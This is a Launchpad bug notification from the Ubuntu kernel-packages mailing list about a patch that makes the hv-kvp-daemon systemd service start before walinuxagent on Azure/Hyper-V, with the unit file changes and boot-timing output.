[Kernel-packages] [Bug 1739107] Re: linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before walinuxagent.service

2018-08-21 Thread Eric Desrochers
APPLIED: [PATCH][XBC] UBUNTU: [Debian] hyper-v -- Ensure that hv-kvp-
daemon.service starts before walinuxagent.service

to xenial/master-next and bionic/master-next

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1739107

Title:
  linux-cloud-tools-common: Ensure hv-kvp-daemon.service starts before
  walinuxagent.service

Status in linux package in Ubuntu:
  In Progress
Status in linux source package in Xenial:
  In Progress
Status in linux source package in Zesty:
  Won't Fix
Status in linux source package in Artful:
  Won't Fix
Status in linux source package in Bionic:
  In Progress

Bug description:
  This is a request to make a change in the hv-kvp-daemon systemd
  service which is part of the linux-cloud-tools-common package to
  ensure the hv-kvp-daemon service starts before the walinuxagent
  service. The default dependencies make hv-kvp-daemon wait until the
  whole system is up before it can start.

  Currently the /lib/systemd/system/hv-kvp-daemon.service file looks
  like this:

  
  # On Azure/Hyper-V systems start the hv_kvp_daemon
  #
  # author "Andy Whitcroft "
  [Unit]
  Description=Hyper-V KVP Protocol Daemon
  ConditionVirtualization=microsoft

  [Service]
  ExecStart=/usr/sbin/hv_kvp_daemon -n

  [Install]
  WantedBy=multi-user.target
  

  The suggested modification is to make the [Unit] section look like
  this:

  [Unit]
  Description=Hyper-V KVP Protocol Daemon
  ConditionVirtualization=microsoft
  DefaultDependencies=no
  After=systemd-remount-fs.service
  Before=shutdown.target cloud-init-local.service walinuxagent.service
  Conflicts=shutdown.target
  RequiresMountsFor=/var/lib/hyperv

  The hv-kvp-daemon service is not currently part of the critical-chain:

  $ systemd-analyze critical-chain
  The time after the unit is active or started is printed after the "@" 
character.
  The time the unit takes to start is printed after the "+" character.

  graphical.target @10.809s
  └─multi-user.target @10.723s
  └─ephemeral-disk-warning.service @10.538s +31ms
  └─cloud-config.service @8.249s +2.252s
  └─basic.target @8.044s
  └─sockets.target @8.019s
  └─snapd.socket @7.692s +264ms
  └─sysinit.target @6.719s
  └─cloud-init.service @5.803s +842ms
  └─networking.service @5.137s +612ms
  └─network-pre.target @5.074s
  └─cloud-init-local.service @2.257s +2.783s
  └─systemd-remount-fs.service @1.368s +656ms
  └─systemd-journald.socket @1.218s
  └─-.mount @649ms
  └─system.slice @653ms
  └─-.slice @649ms

  In an Azure VM, the current startup time of my test is:
  $ systemd-analyze
  Startup finished in 10.375s (kernel) + 12.352s (userspace) = 22.728s

  After making the suggested change, the startup time is similar:

  $ systemd-analyze
  Startup finished in 9.759s (kernel) + 11.867s (userspace) = 21.627s

  And the service is now in the critical-chain:

  $ systemd-analyze critical-chain
  The time after the unit is active or started is printed after the "@" 
character.
  The time the unit takes to start is printed after the "+" character.

  graphical.target @10.666s
  └─multi-user.target @10.636s
  └─ephemeral-disk-warning.service @10.556s +36ms
  └─cloud-config.service @8.423s +2.095s
  └─basic.target @8.124s
  └─sockets.target @8.101s
  └─lxd.socket @7.677s +326ms
  └─sysinit.target @6.755s
  └─cloud-init.service @5.814s +908ms
  └─networking.service @5.111s +651ms
  └─network-pre.target @5.087s
  └─cloud-init-local.service @2.345s +2.707s
  └─hv-kvp-daemon.service @2.316s
  └─systemd-remount-fs.service @1.253s +680ms
  └─system.slice @1.225s
  └─-.slice @650ms

  The ConditionVirtualization=microsoft line makes it so that this
  doesn't affect non microsoft virtualization environments (ie. qemu,
  kvm, vmware, xen, etc.) by checking whether the system is executed in
  a virtualized environment and optionally test whether it is a specific
  implementation, in this case "microsoft" for Hyper-V.

  https://www.freedesktop.org/software/systemd/man/systemd-detect-virt.html#
  microsoft = Hyper-V, also known as Viridian or Windows Server Virtualization

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1739107/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp


  1   2   >